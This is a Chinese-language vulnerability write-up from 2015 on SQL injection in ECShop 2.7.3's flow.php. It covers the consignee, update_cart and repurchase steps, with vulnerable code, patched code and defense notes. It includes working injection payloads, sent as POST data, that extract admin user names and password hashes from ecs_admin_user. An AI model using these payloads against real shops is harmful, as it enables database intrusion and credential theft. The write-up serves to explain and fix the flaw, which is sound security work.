ecshop /flow.php SQL Injection Vul

Andrew.Hann發表於2015-05-23

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

ECSHOP的配送地址頁面網頁沒有驗證地區引數的有效性,存在sql注入漏洞,攻擊者可利用火狐tamper data等外掛修改提交到配送地址頁面的post資料,造成未授權的資料庫操作甚至執行任意程式碼

Relevant Link:

http://sebug.net/vuldb/ssvid-60554

 
2. 漏洞觸發條件

0x1: POC1

1. 先註冊賬戶,隨便選個商品進購物車,然後填地址,電話等等
2. 把任意商品加入購物車在填寫配送地址那一頁,有地區選擇
3. http://localhost/ecshop2.7.3/flow.php?step=consignee&direct_shopping=1
//比如省選擇安徽
3. 其中POST資料如下
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
用firefox tamper data改成
localhost province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 # 
4. 就會回顯錯誤頁面了 

0x2: POC2

POST /flow.php?step=update_cart HTTP/1.1
Host: ${HOST}
Content-Type: application/x-www-form-urlencoded
Content-Length: ${AUTO}

goods_number%5B1%27+and+%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%28user_name%2C0x7c%2Cmd5(233333)%29+FROM+ecs_admin_user+limit+0%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1+%23%5D=1&submit=exp

0x3: order_id注入

http://127.0.0.1/ECShop_V2.7.3/flow.php?step=repurchase
post
order_id=1 or updatexml(1,concat(0x7e,(database())),0) or 11#

file:///C:/Users/zhenghan.zh/Desktop/%E3%80%90%E5%B7%B2%E8%BD%AC%E6%AD%A3%E3%80%91Ecshop3.pdf

Relevant Link:

http://www.2cto.com/Article/201212/179861.html
http://www.yunsec.net/a/security/web/jbst/2013/0111/12225.html


3. 漏洞影響範圍
4. 漏洞程式碼分析

0x1: step = consignee 注入點

/flow.php

elseif ($_REQUEST['step'] == 'consignee')
{
    ...
    //未對POST資料進行有效過濾
    else
    {
        /*
        * 儲存收貨人資訊
        */
        $consignee = array(
        'address_id'    => empty($_POST['address_id']) ? 0  : intval($_POST['address_id']),
        'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
        'country'       => empty($_POST['country'])    ? '' : $_POST['country'],
        'province'      => empty($_POST['province'])   ? '' : $_POST['province'],
        'city'          => empty($_POST['city'])       ? '' : $_POST['city'],
        'district'      => empty($_POST['district'])   ? '' : $_POST['district'],
        'email'         => empty($_POST['email'])      ? '' : $_POST['email'],
        'address'       => empty($_POST['address'])    ? '' : $_POST['address'],
        'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
        'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
        'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
        'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
        'best_time'     => empty($_POST['best_time'])  ? '' : $_POST['best_time'],
        );
        ..

0x2: step = update_cart 注入點

/flow.php

/*------------------------------------------------------ */
//-- 更新購物車
/*------------------------------------------------------ */

elseif ($_REQUEST['step'] == 'update_cart')
{
    if (isset($_POST['goods_number']) && is_array($_POST['goods_number']))
    {
        //帶入sql查詢
        flow_update_cart($_POST['goods_number']);
    }

    show_message($_LANG['update_cart_notice'], $_LANG['back_to_cart'], 'flow.php');
    exit;
}

flow_update_cart($_POST['goods_number']);

function flow_update_cart($arr)
{
    /* 處理 */
    foreach ($arr AS $key => $val)
    {
        //對陣列的value進行了處理,但是沒有對陣列的key進行有效過濾
        $val = intval(make_semiangle($val));
        if ($val <= 0)
        {
            continue;
        }

        //查詢:
        $sql = "SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM" .$GLOBALS['ecs']->table('cart').
               " WHERE rec_id='$key' AND session_id='" . SESS_ID . "'";
        $goods = $GLOBALS['db']->getRow($sql);

        die(var_dump($key));
        /*
        goods_number[-1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,user_name,0x7c,password,0x27,0x7e)) from ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# and '1'='1] = value
        黑客注入這種payload,實現key sql注入
        */
        $sql = "SELECT g.goods_name, g.goods_number ".
                "FROM " .$GLOBALS['ecs']->table('goods'). " AS g, ".
                    $GLOBALS['ecs']->table('cart'). " AS c ".
                "WHERE g.goods_id = c.goods_id AND c.rec_id = '$key'";
        $row = $GLOBALS['db']->getRow($sql);
    ..

Relevant Link:

http://www.myhack58.com/Article/html/3/62/2010/26956.htm
http://0day5.com/archives/328


5. 防禦方法

0x1: step = consignee 注入點

/flow.php

elseif ($_REQUEST['step'] == 'consignee')
{
    ...
    else
    {
        /*
        * 儲存收貨人資訊
        */
        $consignee = array(
        /* 對使用者輸入的POST資料進行有效過濾 */
        'address_id'    => empty($_POST['address_id']) ? 0  :   intval($_POST['address_id']),
        'consignee'     => empty($_POST['consignee'])  ? '' :   compile_str(trim($_POST['consignee'])),
        'country'       => empty($_POST['country'])    ? '' :   intval($_POST['country']),
        'province'      => empty($_POST['province'])   ? '' :   intval($_POST['province']),
        'city'          => empty($_POST['city'])       ? '' :   intval($_POST['city']),
        'district'      => empty($_POST['district'])   ? '' :   intval($_POST['district']),
        /* */
        'email'         => empty($_POST['email'])      ? '' :   compile_str($_POST['email']),
        'address'       => empty($_POST['address'])    ? '' :   compile_str($_POST['address']),
        'zipcode'       => empty($_POST['zipcode'])    ? '' :   compile_str(make_semiangle(trim($_POST['zipcode']))),
        'tel'           => empty($_POST['tel'])        ? '' :   compile_str(make_semiangle(trim($_POST['tel']))),
        'mobile'        => empty($_POST['mobile'])     ? '' :   compile_str(make_semiangle(trim($_POST['mobile']))),
        'sign_building' => empty($_POST['sign_building']) ? '' :compile_str($_POST['sign_building']),
        'best_time'     => empty($_POST['best_time'])  ? '' :   compile_str($_POST['best_time']),
    );
    ..

需要注意的是,empty函式引數必須為variable,不能為其它函式的返回值,包括str_replace、trim等等,否則會報錯

Can't use function return value in write context 

0x2: step = update_cart 注入點

function flow_update_cart($arr)
{
    /* 處理 */
    foreach ($arr AS $key => $val)
    { 
        $val = intval(make_semiangle($val));
    /**/
    if (!is_numeric($key))
        {
            continue;
        }
    /**/
        /*if ($val <= 0)*/
    if ($val <= 0 || !is_numeric($key))
        {
            continue;
        }
    ..

0x3: step = order_id 注入點

elseif ($_REQUEST['step'] == 'repurchase') {
    include_once('includes/cls_json.php'); 
    /**/
    $order_id = intval($_POST['order_id']); 
    /**/ 
    $order_id = json_str_iconv($order_id);
    $user_id = $_SESSION['user_id'];
    $json  = new JSON;
    $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
    if (!$order) {
        $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        die($json->encode($result));
    }

    $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
    $result = array('error' => 0, 'message' => '');
    foreach ($order_goods as $goods) {
        $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
        if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
            $result = false;
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        }
    }
    die($json->encode($result));
}
else
{
    $flow_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : CART_GENERAL_GOODS;
    $flow_type = strip_tags($flow_type);
    $flow_type = json_str_iconv($flow_type);
    /* 標記購物流程為普通商品 */
    $_SESSION['flow_type'] = $flow_type;

    /* 如果是一步購物,跳到結算中心 */
    if ($_CFG['one_step_buy'] == '1')
    {
        ecs_header("Location: flow.php?step=checkout\n");
        exit;
    }

Relevant Link:

http://www.itokit.com/2012/1028/74804.html


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章